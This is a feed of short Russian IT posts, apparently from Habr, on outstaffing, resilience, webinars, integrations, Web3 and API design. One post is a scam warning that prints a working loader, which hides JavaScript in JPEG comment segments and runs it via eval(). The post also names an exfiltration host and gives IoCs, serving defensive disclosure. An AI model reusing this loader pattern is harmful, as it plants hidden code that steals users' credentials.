Все потоки

Аутстаф и инженерная культура. Как работают сильные команды 

Сильная команда – это не только технологии, но и процессы, онбординг, корпоративная культура и способность разработчиков быстро интегрироваться в проекты. Собрали подборку статей Doubletapp о том, как мы развиваем внутреннюю кухню аутстафа и поддерживаем инженерный рост сотрудников на всех проектах. 

Аутстаф без иллюзий: честно о том, как мы готовим специалистов, выводим на проекты и взаимодействуем с заказчиками

Операционный директор Анна Антонова – рассказала о том, как нам удается не просто подключать аутстаф-специалистов к проектам, но и растить мощных профессионалов, которые усиливают команды ведущих бигтехов России и помогают нам вот уже несколько лет входить в топ-30 аутстаф-компаний.

Собеседования 2026: почему мы до сих пор нанимаем «ходячие Википедии», а не инженеров? 

Senior Frontend разработчик рассказывает, как эффективно собеседовать фронтендеров. Опыт 80+ собеседований и 4 ключевых принципа проведения инженерного интервью. 

Тестовые задания для фронтендеров 2026: почему мы до сих пор проверяем память, а не инженеров

Продолжение статьи о найме инженеров. Собрали в тексте самые удачные кейсы в единую методологию, которая поможет проверить навыки и знания разработчика, а не его умение пользоваться ChatGPT. 

Как быстрее влиться в проект и не потеряться: взгляд аутстафера 

Прикладные советы для разработчиков, которые работают на аутстафе: лайфхаки, личный опыт и немного юмора от Senior QA Engineer Маши. 

Если тема инженерной культуры, найма и развития команд вам тоже близка — сохраняйте подборку и делитесь опытом в комментариях. Будет интересно обсудить, как эти процессы устроены в других командах. 

Почему красивые планы и слайды по устойчивости и восстановлению больше не работают?

Хочу поднять тему операционной устойчивости (Operation Resilience) и отметить некоторые изменения, которые вижу. Как ИТ Директор, я изучаю свежие отчеты по непрерывности бизнеса (BCP) и восстановлению после сбоев (DRP). Вижу главный тренд этого года. Эпоха красивых регламентов и концепций закончилась. Началась эпоха жесткой практики и экономии.

Ранее компании инвестировали в нарядный консалтинг и презентации, создание индивидуальных фреймворков, соответствие регуляторам (вроде DORA) и красивые слайды. Сейчас фокус сместился и вопрос уже не в том «Есть ли у нас план?», а в том «Сработает ли он при реальном сбое?». Что изменилось и почему это важно для любого бизнеса прямо сейчас?

Отмечу четыре причины, которые близки мне и связаны с моим опытом.

Первое. Уровень оптимизма снизился и меня это радует. Бизнес осознал реальную сложность процессов BCP и DRP. Также пришло понимание, что это не только задача ИТ. Внедрить устойчивость в культуру компании и в ежедневные процессы гораздо сложнее, чем просто подписать регламент у CЕО.

Второе. Риски вышли за пределы вашей компании. Устойчивость бизнеса теперь зависит не только от вашей ИТ инфраструктуры и программных решений. Важные уязвимости сегодня это сторонние поставщики услуг (не только ИТ) и сложные цепочки поставок. Если падает ваш критический подрядчик, то автоматически падаете и вы. Управлять уже нужно всей экосистемой.

Третье. Тяжелое наследие. Устаревшая ИТ инфраструктура и ИТ системы, дефицит квалифицированных кадров, сложность и дороговизна привлечения новых людей, тяжелая система корпоративного управления. Это мешает бизнесу быстро реагировать на изменения и кризисы.

Четвертое. Переход к здравому смыслу. Компании перестают делать и заказывать BCP и DRP для галочки перед регуляторами или советом директоров. Операционная устойчивость стала элементом хорошего тона в бизнесе и залогом долгосрочной выживаемости.

Что можно сделать чтобы начать? Сместить фокус со слайдов и толстых регламентов на реальные рабочие процедуры. Проводить постоянные тесты и менять все при необходимости. Например мы пересматриваем все эти документы уже раз в 4-5 месяцев. Подход такой. Чтобы трансформировать планы в реальную защиту фокусируемся на изменения в культуре, где устойчивость становится задачей каждого владельца процесса, а не только ИТ. Плюс устанавливаем измеряемый и жесткий контроль за рисками подрядчиков.

Способность защитить критические сервисы это ваше конкурентное преимущество и защита активов. Это важно акционерам и клиентам. Вы станете более привлекательны для них, если так будете делать.

Как у вас обстоят дела с тестированием планов непрерывности? Проверяли ли вы их в условиях, максимально приближенных к реалиям? Поделитесь пожалуйста в комментариях.

Как убедиться, что вы «закрыли» требования ИБ-законодательства? Используем связку «Защита от утечек + Система управления ИБ»

Использование системы защиты от утечек информации (DLP) не только предотвращает сливы данных, но и помогает выполнять многочисленные нормативные требования. Интеграция такого решения с системой управления информационной безопасностью (SGRC) наглядно демонстрирует этот эффект, превращая формальное выполнение нормативов в динамическую оценку соответствия на основании данных, поступающих из средств ИБ.

На вебинаре покажем, как возможности «СёрчИнформ КИБ» можно использовать не только для выявления утечек, но и для выполнения ИБ-нормативов, контроля защитных мер и построения управляемых процессов ИБ в SECURITM.

📆 Когда: 4 июня в 11:00

🎤 Спикеры: 

• Алексей Парфентьев, заместитель генерального директора по инновационной деятельности «СёрчИнформ».

• Максим Шаманаев, консультант по информационной безопасности SECURITM.

Разберем на практике, как в SECURITM:

1. Связать модули «СёрчИнформ КИБ» с защитными мерами и увидеть, какие требования они помогают выполнять. Отдельно разберём сценарии, связанные с требованиями ФСТЭК, включая приказ № 239 и требования, утверждённые приказом № 117.

2. Превратить уведомления об инцидентах из КИБ в управляемые кейсы с маршрутизацией, статусами и контролем исполнения.

3. Использовать данные КИБ для обогащения учёта активов, сетевых адресов (IP), пользователей и покрытия средствами защиты.

Зарегистрироваться можно по ссылке. Участие бесплатное

⚡️ Присоединяйтесь – покажем, как связка «СёрчИнформ КИБ» и SECURITM расширяет возможности системы защиты от утечек (DLP) от детектирования и реагирования до управления и соответствия.

Тихий форум: мечта интроверта

Побывала на форуме «Время цифры», очень неожиданным оказался сам формат проведения.

Как устроен «тихий» форум?

Параллельные сессии идут в одном помещении, спикеры говорят вполголоса, каждая группа транслируется онлайн. Хочешь слушать — подходишь, подключаешься, надеваешь наушники.

Звучит странно, работает неожиданно хорошо. Больше не нужно выбирать между двумя параллельными докладами или скучать на неинтересном блоке ради следующего. Можно в любой момент переключаться между сессиями.

Прожарка, после которой не хочется всё бросить

Со своей командой LBX Биллинг попали на разбор проекта в формате прожарки от Клуба Менторов. 
Обычно обратная связь на питчингах и в акселераторах полярная: либо слишком поверхностная («интересная идея, удачи»), либо агрессивная, с попыткой сломить позицию основателя.

Здесь было все по-другому — вопросы в теме и с пониманием, обратная связь экологичная. Для основателя это редкость и реальная ценность: после такой сессии понимаешь, над чем работать, а не теряешь веру в продукт.

Вывод

Формат тихого форума стоит попробовать хотя бы раз — особенно если вы интроверт или хотите успеть везде!

Хотим, чтобы вы попробовали наши лабораторные изнутри - поэтому открыли скидку на подписку «Практик».

700 рублей - цена ланча. А внутри:
– живая трансляция 2 лабораторных в месяц (Лабораторная по мониторингу уже в это воскресенье!)
– личная виртуальная машина со всеми скриптами для развёртывания стека лабораторной
– записи всех прошедших лабораторных - по Docker, Kubernetes и не только

Для сравнения: подобный формат в крупных школах стоит от 3 до 6 тысяч с участника.

Почему так?
Мы верим, что качественное обучение должно быть доступным и должно слышать свою аудиторию. И что расти проще там, где саморазвитие и взаимопомощь идут бок о бок - становясь личным драйвером для каждого.

👉 Стать практиком - https://boosty.to/polnyistek

Критический успех

4 июня собираемся с мобильными разработчиками в атмосфере любимых фэнтези и настольных ролевых игр — на Alfa Mobile D&D party. Впереди приключение для истинных авантюристов: объединяйтесь в отряды и открывайте секреты башни.

Друиды поделятся мудростью:

 С техническим лидером Android-разработки Виталием Перятиным обсудим, что на самом деле под капотом у MCP. Спойлер: всё просто

 С ведущим iOS-разработчиком Петросом Тепояном погрузимся в мир ИИ-разработки и приключений, или Туда и обратно

Завершим игру вечеринкой. Советуем подумать над образом своего персонажа: за 3 лучших подарим подарки!

Где: в секретном баре в Москве. Локацию пришлём с соколом в письме.

Регистрируйтесь на приключение!

Представлен открытый репозиторий Knowledge Work Plugins с 11 плагинами для Claude, которые выполняют обязанности огромного списка современных профессий:

• Маркетинг, продажи, торговые операции и финансы. Контроль текущей деятельности компании.

• Психология, продуктивность, адаптация сотрудников, проджект‑менеджмент.

• Юриспруденция, защита авторских прав и персональных данных.

• Аналитика данных, построение дашбордов, подготовка презентаций, создание аналитических документов.

• Техподдержка, клиентский сервис.

• Работа с документами, PDF, таблицами и даже биоресерч.

Навыки ставятся за два клика и между ними можно мгновенно переключаться.

Вы попали в следующую ситуацию: граница, проверка, оператор просит разблокировать телефон. Отказаться нельзя или невыгодно. Что можно?

Стандартные ответы у мессенджеров слабые. Обычный app-lock PIN открывает то же приложение, под принуждением бесполезен. «Удалить аккаунт по PIN» лучше, но видно что что-то стёрто. Облачные TTL текущий запрос не закрывают.

В RCQ сделали по-другому. Локальная история шифруется AES-256-GCM, ключ выводится из PIN’а через PBKDF2-HMAC-SHA256 на 400к раундов с per-install salt в keychain. Разные PIN’ы открывают разные хранилища.

400к раундов это около секунды CPU на iPhone, достаточно медленно чтобы offline-bruteforce был дорогой. Но реальная защита это длина PIN’а: 4-значный перебирается за десятки минут на M-чипе, 8-значный за месяцы. Default 6-8 символов.

Четыре режима

1. Real PIN - открывает реальный аккаунт.

2. Decoy PIN - открывает отдельный аккаунт с собственным UIN и SQLite. Не пустой экран (пустой это сигнал), а правдоподобно освоенный: пара контактов, несколько сообщений.

3. Wipe PIN - тихо стирает оба SQLite, чистит keychain, дёргает DELETE /auth/account. Без подтверждений и прогресс-баров. Через 3 секунды приложение перезапускается как свежеустановленное.

4. Biometric - опциональная вторая дверь к real. Не совмещается с decoy/wipe (скорее для удобства).

Честно про границы

Защищает от: казуального осмотра, принуждённой разблокировки, ситуации «5 секунд до того как заберут».

Не защищает от: forensic-лаб с offline-bruteforce’ом короткого PIN’а, jailbroken устройства с активным debugger’ом, человека рядом который видел как вы вводите PIN (разумеется).

Threat model правильный: «есть несколько секунд до того как кто-то откроет приложение, дальше я не контролирую устройство». Для «forensic с неограниченным временем» нужны другие инструменты. Главное из них: не пользоваться телефоном для чувствительных переписок вообще.

Стек живёт в RCQ, открытая бета на iOS. Код открытый: github.com/rcq-messenger/rcq-ios. Про маскировку самого факта установки приложения будет отдельно.

Представлен открытый проект Magic Resume, который собирает весь опыт пользователя и портфолио в единое резюме:

• достаточно только скинуть сервису информацию — опыт, портфолио и немного данных о себе. На выходе получите идеальное резюме со всеми ключевыми словами для ИИ‑скрининга и прочих программ;

• резюме можно составлять под конкретную позицию и его точно увидит живой рекрутер, а не забракует бездушная машина;

• добавляет анимации, кастомные темы и плавные переходы;

• адаптирует резюме под ПК, планшеты и другие мобильные устройства;

• можно экспортировать резюме в PDF и кидать документом;

• превью в реальном времени;

• автосохранение после каждого шага;

• работает полностью локально.

Кажется, на свой День Рождения Хабр случайно сделал не вечеринку, а машину времени.

Причём не в детство даже. А в какое‑то очень тёплое состояние, по которому мы все, похоже, страшно соскучились.

Без «успешного успеха». Без попытки выглядеть лучше, дороже и продуктивнее друг друга. Просто люди, просто летний вечер и ощущение той самой беззаботности, по которой мы все скучаем

И, возможно, главный гений вечера — дресс‑код «дача». 😄

Потому что как только взрослые серьёзные IT‑люди надевают рваные джинсы, старые футболки и резиновые сапоги — между ними моментально исчезает половина социальных конструкций.

Ты больше не «руководитель направления».
Не «владелец продукта».
Не «эксперт по сложным архитектурным решениям».

Ты человек, который пришёл к друзьям на дачу. И внезапно всем становится легко.

А дальше пазл атмосферы собирался уже из деталей

📸 Polaroid‑снимки на общей стене
🚗 легендарная Ока, возле которой весь вечер была очередь
🥃 бар с настойками и самогонным аппаратом
🐟 шпроты, сало и гастрономический флешбек в детство

А на фоне любимая музыка детства и юности: Жуки, Animal Jazz, Сплин, «Утиные истории» и «Чёрный плащ».

И в какой‑то момент ловишь себя на мысли: кажется, люди сегодня устали не от работы. Люди устали от постоянной необходимости быть «собранной версией себя».

И именно поэтому такие вечера становятся чем‑то сильно большим, чем просто мероприятие. Они возвращают ощущение нормальной человеческой близости.

P. S. Похоже, мне теперь хочется чаще писать в своем ТГ канале не только про выступления, но и про такие человеческие моменты тоже ✍️

Хабр, с Днём Рождения ❤️

Спасибо за вечер

Включаем пространственный звук в Discord. Подробное руководство, как включить новую опцию. С ней все участники канала будут звучать так, будто они сидят в одной комнате:

• Качаем тестовый бранч Canary — отсюда.

• Качаем мод Vencord, чтобы разблокировать функцию — здесь.

• В аддонах включаем опцию «Experiments».

• Переходим в инструменты разработчика (иконка инструментов в правом верхнем углу).

• Вверху жмем на маленькую стрелочку и в поиске вводим Spatial Audio.

• Заходим в войс и наслаждаемся.

Как я связал Zabbix и таск-трекер в обе стороны без отдельного сервиса У меня боевой Zabbix 7.0 на ~260 хостов, а заявки дежурной смены живут в Planfix. Уведомления в Telegram или Matrix никто не отменял, но когда над инцидентами работает смена, мессенджер неудобен: не видно, кто взял проблему, нет статусов и истории по задаче, сложно готовить отчеты. Хотелось, чтобы проблема мониторинга сама заводила задачу в трекере, а действия с задачей возвращались обратно в Zabbix, и всё это без сервиса-прослойки.

Очевидные пути отмёл сразу:

• Бот или демон - ещё один процесс, который сам надо мониторить: новая точка отказа в системе, которая как раз следит за отказами.

• Почта с парсером - не возвращает id созданной задачи обратно в Zabbix, и потом нечем связать восстановление триггера с конкретной строкой в трекере.

Требование «вернуть id задачи на событие» и определило всю архитектуру.

Прямое направление: Zabbix → трекер Собрал на штатном media type типа Webhook: один JS-скрипт по флагам события решает, какой эндпоинт трекера дёрнуть. Интереснее, где хранить связь «проблема ↔ задача». Внешнюю БД соответствий заводить не стал, обошёлся тегами события. При создании задачи скрипт возвращает Zabbix теги __zbx_planfix_taskid и __zbx_planfix_link; при process_tags=1 они вешаются на событие, и все последующие операции (подтверждение, закрытие, отмена) находят ту же задачу по тегу. Состояние живёт прямо на событии, отдельное хранилище не нужно.

Что всплыло уже в бою: отмена эскалации Уведомление «Escalation canceled» (эскалацию погасили, отключив хост или триггер) приходит с теми же флагами, что и новая проблема: event_value=1, event_update_status=0. Не различишь - скрипт примет отмену за новую проблему, заведёт дубль, и задача зависнет открытой навсегда: OK-события не будет, закрывать нечем. Поэтому скрипт сначала ищет в тексте уведомления фразу «Escalation canceled» и, только если её нет, считает событие новой проблемой. Подтверждение и снятие различаю по макросу {EVENT.UPDATE.ACTION}: в первой строке update-сообщения он разворачивается в acknowledged или unacknowledged - по этому слову задача уходит «в работу» или возвращается исполнителю по умолчанию.

Обратное направление - и оно оказалось самым интересным Делается средствами самого трекера, без отдельного сервиса. В Planfix это автоматический сценарий: событие «задача принята», условие «проект = ZABBIX», операция - POST в JSON-RPC API Zabbix, метод event.acknowledge с action=6 (подтвердить + добавить комментарий). Event ID берётся из поля задачи, того самого, что прилетел при создании. Главное: обратный вызов несёт email сотрудника, и подтверждение с комментарием проставляются в Zabbix от имени этого человека, а не безликого сервисного аккаунта. В истории события видно, кто реально взял проблему - тот, на кого назначена задача в трекере.

Что ещё пришлось учесть

• maxsessions=1 обязателен, иначе закрытие может обогнать создание, и правка придёт по ещё не существующей задаче.

• Создание задачи не идемпотентно: при ретраях возможен дубль (из Zabbix не узнать, дошёл ли запрос на самом деле), поэтому дедуп по event_id на стороне трекера обязателен - у меня он пока в планах.

• Шумовой фильтр - через эскалацию: операция на шаге 2 плюс условие «подтверждено = нет», иначе проблемы, мигающие по 30 секунд, плодят задачи.

Итог: ноль дополнительных демонов, обе системы синхронны, связь хранится на самом событии. Для одной пары систем это окупается. Но чем больше разных систем хочется соединить между собой, тем громче вопрос об оркестраторе: точечные вебхуки перестают масштабироваться, хотя единая шина и есть та самая прослойка, которую потом сам обслуживаешь. Сейчас как раз думаю в эту сторону. Чем вы сшиваете зоопарк систем - оркестратором или точечными интеграциями, и где у вас прошла граница?

«Стратегия голубого океана» Рене Моборн и Чан Ким

Снова редкий случай – книга очень приятно обманула мои ожидания. Я много про неё слышал, но всегда одно и то же, а на деле – она про другое.

Ждал, что она будет про маркетинг или инновации, создающие принципиально новые рынки (именно такое мнение создали те, кто рассказывал мне об этой книге). Ну там, про Стива Джобса, Илона Маска и прочих визионеров, создающих то, чего раньше не было.

На деле книга оказалась о том, что написано в её названии – о стратегии. О её разработке, проверке, реализации (да, там большой и хороший раздел про имплементацию изменений).

Я – большой любитель стратегий, и всего с ними связанного. А все мои знакомые – нет. Наверное, поэтому мы так по-разному эту книгу поняли. Ввиду того, что хороших книг по стратегии – раз, два и обчёлся, «голубой океан» сразу стал бриллиантом моей «стратегической» коллекции.

Основная тема книги (создание голубых океанов) оказалась очень и очень реалистичной. Там не про создание чего-то принципиально нового, и вообще не про создание, визионерство и т.д. (опять холостой выстрел ожиданий). Книга про понимание клиентов и выявление неизвестного и неудовлетворённого спроса.

И спрос этот – неудовлетворённый – находят на вполне себе существующих рынках и известных продуктах. Точнее – его именно там и находят. Искать надо не снаружи, а внутри. Не расширять, а углублять.

Собственно, вот вкратце и вся стратегия голубых океанов. И как стратегия она – гениальна. Не мучайте мозг, ища принципиально новое. Лучше с клиентами поговорите. Мой опыт работы в сфере IT-услуг говорит, что разговор с клиентами об их проблемах – последнее, чем занимаются менеджеры 😊.

Эта книга очень хорошо сочетается с «Третьей альтернативой» Стивена Кови – они об одном и том же, если в суть вглядеться. О том, как находить решение между уже известными вариантами. Именно между – в этом вся фишка.

Напоследок добавлю: я тоже пишу книгу по продажам. Точнее, по организации работы всей цепочки, с ориентацией на продажу. И у меня схожие с «голубыми океанами» принципы. Буду третьим 😊.

Из Книжного стека

Учёные дали задание примерно 8000 человек в 40 странах, которое было невозможно выполнить за пять минут. На графике представлен показатель честности: столько людей соврали (решили не выполнять полностью таск), что всё-таки сделали задачу. Больше всего о этом сообщили в США, Британии и Германии.

Что будет после Web3 и существует ли вообще Web4?

Когда появился термин Web3, его подавали почти как следующую эволюцию интернета: децентрализация, цифровая собственность, кошельки вместо аккаунтов, отсутствие посредников и контроль пользователя над своими данными.

Проблема в том, что спустя несколько лет Web3 так и не стал массовым в том виде, в котором его представляли. Да, индустрия выросла. Появились DeFi, NFT, DAO, стейблкоины, on-chain экономика и огромная инфраструктура вокруг блокчейнов. Но обычный пользователь по-прежнему редко хочет разбираться в seed-фразах, gas fee, bridge, сетях и формате адресов.

Именно поэтому всё чаще возникает другой вопрос: а что вообще будет после Web3 и существует ли какой-то “Web4”?

На практике проблема Web3 оказалась не столько технологической, сколько пользовательской. Web3 отлично решает вопрос владения активом, но пока плохо решает вопрос удобства. Для массового пользователя Web2 всё ещё проще: зашёл через Google-аккаунт, нажал пару кнопок — и сервис работает. В Web3 пользователь часто становится одновременно и банком, и службой безопасности, и технической поддержкой для самого себя.

Именно поэтому всё больше обсуждений сейчас крутится вокруг идеи, что следующая стадия интернета будет строиться не только вокруг блокчейна, но вокруг сочетания сразу нескольких вещей: AI, identity, автоматизации, intent-based интерфейсов и invisible infrastructure.

Если упростить, Web3 пытался сделать пользователя владельцем инфраструктуры. А условный “Web4”, о котором начинают говорить сейчас, скорее пытается сделать инфраструктуру невидимой для пользователя вообще.

Например, сегодня человек должен понимать:

в какой сети находится актив какой gas использовать как работает bridge что такое approve почему транзакция не проходит

Для массового рынка это слишком высокий порог входа.

Следующий этап, скорее всего, будет выглядеть иначе: пользователь просто формулирует действие, а инфраструктура сама решает, в какой сети провести операцию, как подписать транзакцию, откуда взять ликвидность и как оптимизировать маршрут.

По сути, Web4 в текущем понимании — это не “новый интернет после блокчейна”, а попытка спрятать сложность Web3 под нормальный пользовательский опыт.

Парадокс в том, что большинство технологий Web3, вероятно, останутся внутри системы, но перестанут быть видимыми. Как сегодня человек пользуется банковским приложением, не думая о том, через какие протоколы проходят его данные.

Отдельный интерес здесь добавляет AI. Если Web3 был про ownership и decentralization, то следующий этап может оказаться про AI-агентов, которые будут взаимодействовать с цифровой инфраструктурой вместо человека: управлять кошельками, искать ликвидность, совершать сделки и даже взаимодействовать с DAO или DeFi-протоколами автоматически.

Именно поэтому вопрос “что будет после Web3?” сейчас всё чаще звучит не как футуризм, а как вполне практическая проблема индустрии.

Потому что технология уже стала достаточно сложной. И следующий этап её развития, скорее всего, будет связан не с ещё большей сложностью, а наоборот — с попыткой скрыть её от пользователя полностью.

Как снизить расходы на GPU в 2,5 раза и не потерять в производительности

Пока одни учат промпты, другие переписывают архитектуру ML-систем. Главная боль сегодня — не качество моделей, а экономика инференса и обучения. Разбираем свежие подходы к оптимизации GPU-часов и построению агентских систем на проде.

По данным Selectel, в майском ML-дайджесте собраны кейсы, где команды добились экономии GPU-времени в 2,5 раза без деградации метрик. Это не про тюнинг гиперпараметров — речь о пересборке inference-пайплайнов и переходе от монолитных моделей к композитным системам.

Уход ИИ в бэкенд: что это меняет

Индустрия смещается от фронтенд-интеграций к серверным агентам. Автономные агенты теперь живут в бэкенде, обрабатывают запросы асинхронно и требуют новых подходов к мониторингу и отказоустойчивости. Это не просто модный тренд — это ответ на latency и стоимость API-вызовов в реальном времени.

Ключевой момент: агенты на проде требуют переосмысления классических паттернов. Нужны механизмы откатов, версионирование промптов как кода, логирование цепочек рассуждений. Без этого отладка превращается в ад.

Новые стандарты агентских систем

Появляются попытки стандартизировать архитектуру агентов. Пока это не RFC-уровень, но сообщество сходится на общих паттернах: разделение планирования и выполнения, явное управление контекстом, изолированные инструменты с чёткими контрактами.

• Планировщик и исполнитель как отдельные компоненты

• Контекстное окно как ограниченный ресурс — управляем явно

• Инструменты агента с типизированными входами/выходами

• Логирование промежуточных шагов для отладки

Это не серебряная пуля, но хотя бы появляется общий язык для обсуждения архитектуры. До сих пор каждая команда изобретала велосипед.

Что в итоге

Экономия GPU достигается не магией, а инженерной работой: батчинг запросов, кэширование эмбеддингов, выбор правильного размера модели под задачу. Агентские системы перестают быть экспериментом и переходят в продакшн, но для этого нужна инфраструктура, а не просто обёртка над API.

Ограничения остаются: непредсказуемость поведения агентов, сложность отладки, отсутствие зрелых инструментов мониторинга. Стандарты только формируются, и сейчас это больше про обмен опытом, чем про готовые решения из коробки.

TG @ciologia

Клиентский сервис в CRM: как сделать сервисную службу источником прибыли и лояльности клиентов

В крупных компаниях сервис давно перестал быть только операционной функцией — сегодня он напрямую влияет на удержание клиентов, повторные продажи и выручку компании. Именно поэтому сервисные процессы важно автоматизировать. Выстраивание клиентского сервиса внутри CRM помогает не только управлять выездными сотрудниками, SLA и документооборотом, но и превращает сервис в полноценную часть клиентской воронки, где каждый контакт с клиентом становится точкой для развития отношений и дополнительных продаж. 

На вебинаре покажем, как мы организуем полный цикл сервисного обслуживания для наших заказчиков в Битрикс24. Разберём реальные процессы и необходимые настройки CRM, продемонстрируем функционал системы и расскажем:

— почему клиентский сервис — это важная часть CRM-автоматизации;
— какие процессы сервисного обслуживания можно автоматизировать в CRM;
— как вести ПНР, гарантийное, техническое и негарантийное обслуживание в единой системе;
— как планировать выезды и формировать маршрутные листы с учётом географии, загрузки и типа работ;
— как автоматически назначать сервисных инженеров по компетенциям и территории;
— как инженеры работают через веб и мобильный интерфейс: фиксируют работы, добавляют фото, материалы, формируют акты и получают подписи клиентов;
— как организовать документооборот без возврата сотрудников в офис;
— в каких случаях достаточно штатной функциональности мобильного приложения, а когда требуется дополнительная;
— как руководителю контролировать сроки, загрузку команды и качество выполнения работ.

Отдельный блок посвятим демонстрации сквозного процесса в CRM:
от создания заявки и назначения инженера до отчётов и закрывающих документов. Вы увидите, как это выглядит для руководителя и для сервисного сотрудника в ежедневной работе.

Также разберём реальный кейс автоматизации сервисных выездов для крупной компании с распределённой полевой командой: как удалось объединить планирование, учёт работ и документооборот в едином окне и сократить время на подготовку отчётности.

И конечно ответим на все вопросы!

Вебинар будет полезен:
• руководителям сервисных служб;
• коммерческим директорам;
• техническим директорам;
• руководителям отделов эксплуатации;
• руководителям компаний с выездными инженерами и сервисными командами.

До встречи на вебинаре!
РЕГИСТРАЦИЯ ПО ССЫЛКЕ

⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер

Привет, Хабр. Короткий пост-предупреждение.

Получил отклик на Хабр Карьере на вакансию fullstack-разработчика заграницу, оклад 4-5к$/мес. Его аккаунт на Хабр Карьера
Общение переводят в Telegram, на аккаунт @capdice. Прислали репозиторий с «тестовым заданием»: компания Suarts (домен suarte.art), репозиторий, задача — «интегрировать криптоплатёжный сервис».

С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.

Два артефакта:

• server/back.jpg — выглядит как JPEG, но в сегментах 0xFFFE (COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.

• server/app/services/log.service.js — функция addLogsForAssets читает JPEG, вытаскивает COMMENT-сегменты и прогоняет через eval(). Вызов на верхнем уровне модуля — выполняется при каждом require() сервиса, до подключения к БД.

function addLogsForAssets(imgPath) {
  const imlog = fsr.readFileSync(imgPath);
  let i = 2;
  const chunks = [];
  while (i < imlog.length) {
    if (imlog[i] !== 0xFF) break;
    const marker = imlog[i + 1];
    const length = imlog.readUInt16BE(i + 2);
    if (marker === 0xFE) {                      // JPEG COMMENT marker
      const data = imlog.subarray(i + 4, i + 2 + length);
      chunks.push(data);
    }
    i += 2 + length;
  }
  eval(Buffer.concat(chunks).toString('utf8')); // ← payload
  return true;
}
addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));

Payload эксфильтрует на cookieshop.cloud/uploads профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с github.com/indygreg/python-build-standalone/releases/ (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через spawn(..., {detached: true, windowsHide: true}). Классический браузерный инфостилер: пароли, куки, токены.

IoC:

Артефакт SHA-256 server/back.jpg be7c30d92a93f4923aca047811303c3d2f6a754b13b7f06019e274cbdee3eee4 server/app/services/log.service.js 7ccf797ecd5716c2e6bc7d3f635654b11520515538051243c73547576ac9f740

Хост эксфильтрации: cookieshop.cloud

Если запускал бэкенд. Загрузчик отрабатывает до подключения к MongoDB — даже если видел ошибку базы, payload уже выполнился. Что делать сразу:

• Сменить пароли в браузерах (Chrome / Brave / Edge / Yandex / Opera)

• Отозвать GitHub PAT, пересоздать SSH-ключи на GitHub / GitLab / Bitbucket

• Сменить credentials в ~/.aws/, ~/.config/gcloud, ~/.config/heroku

• Завершить все сессии: https://github.com/settings/sessions

• Прогнать антивирус

Чек на будущее. Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. eval() над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (file back.jpg, strings back.jpg | head).

На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.

Видели тот же back.jpg, cookieshop.cloud или @capdice — напишите.

Более быстрый способ ловить подобные алерты - мой канал

Почему API переписывают через полгода и как этого избежать

Жесткие дедлайны заставляют жертвовать проектированием API ради скорости запуска. Через полгода структура данных не соответствует реальным потребностям, а каждое изменение вызывает регрессию. Разбираем, что идет не так и как закладывать гибкость на старте.

Запуск нового сервиса обычно проходит в условиях жестких дедлайнов и давления бизнеса. Приоритет — скорость, архитектура API откладывается на потом. Результат предсказуем: через полгода структура эндпоинтов не вписывается в логику продукта, интеграции становятся хрупкими, документация расходится с кодом.

Команда оказывается в ловушке технического долга. Новые функции не ложатся на существующую архитектуру, любое изменение ломает смежные модули, а страх регрессии парализует развитие. Проблема не в квалификации разработчиков или выборе фреймворка — причина в пропуске этапа системного проектирования.

Что ломается первым

Отсутствие контракта между клиентом и сервером — главная причина хрупкости. Когда API проектируется по принципу «сделаем быстро, потом поправим», возникают системные проблемы:

• Эндпоинты перегружены логикой — один метод делает слишком много, изменить его без побочных эффектов невозможно.

• Структура данных меняется без версионирования — клиенты ломаются на продакшене после деплоя.

• Нет единого источника истины для схемы — документация устаревает, разработчики полагаются на догадки.

• Безопасность добавляется постфактум — авторизация, валидация и rate limiting наслаиваются хаотично, создавая дыры.

По данным исследования Postman State of the API 2023, 40% команд тратят больше времени на исправление проблем интеграции, чем на разработку новых функций. Основная причина — отсутствие контракта на этапе проектирования.

Как закладывать гибкость на старте

Системное проектирование API не означает месяцы планирования. Речь о базовых принципах, которые экономят время в будущем:

1. Определите схему данных до первой строки кода. OpenAPI, JSON Schema или Protocol Buffers — инструмент вторичен, важен контракт между клиентом и сервером. Схема становится единым источником истины и основой для автогенерации кода.

2. Версионируйте с первого дня. Даже если изменения пока не нужны, структура для версий (через URL, заголовки или content negotiation) должна быть заложена сразу. Переход на версионирование постфактум болезненен.

3. Проектируйте эндпоинты под бизнес-операции, а не под таблицы базы. CRUD удобен для прототипа, но быстро показывает ограничения. Операции вроде «подтвердить заказ» или «пересчитать баланс» должны быть явными методами, а не набором UPDATE-запросов.

4. Закладывайте безопасность в архитектуру. Авторизация, валидация входных данных, rate limiting и логирование — не опциональные доработки, а часть контракта. Добавление их потом ломает обратную совместимость и усложняет интеграции.

Trade-offs, о которых молчат

Системное проектирование API требует времени на старте. Это замедляет первый релиз — вместо недели уходит две. Но уже через квартал экономия становится очевидной: меньше правок, стабильные интеграции, отсутствие срочных патчей из-за несовместимых изменений.

Основной риск — переусложнение. Попытка предусмотреть все сценарии приводит к раздутым схемам и избыточной абстракции. Баланс достигается через фокус на реальных бизнес-требованиях, а не гипотетических расширениях.

API, спроектированное с учетом версионирования, контракта и безопасности, масштабируется без переписывания. Вопрос не в том, найдется ли время на проектирование сейчас — вопрос в том, сколько времени уйдет на устранение последствий его отсутствия через полгода.

TG @ciologia

РБПО по ГОСТ Р 56939—2024: вебинар №18 из 30 — Функциональное тестирование

Предлагаю вашему вниманию запись вебинара, где мы разбираем безопасную разработку ПО. Вебинар посвящен процессу из раздела 5.18. – "Функциональное тестирование". На YouTube. Слайды.

Цели 18-го процесса по ГОСТ Р 56939—2024:

Контроль полноты реализованных функциональных возможностей, обнаружение и исправление ошибок с использованием технологий функционального тестирования.

Общее количество вебинаров — 30. Каждому из 25 процессов ГОСТа посвящён отдельный вебинар и ещё 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

Цикл вебинаров проведён компанией ООО "ПВС" совместно с учебным центром "Маском". Организаторами выступили Андрей Карпов и Виталий Пиков. Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

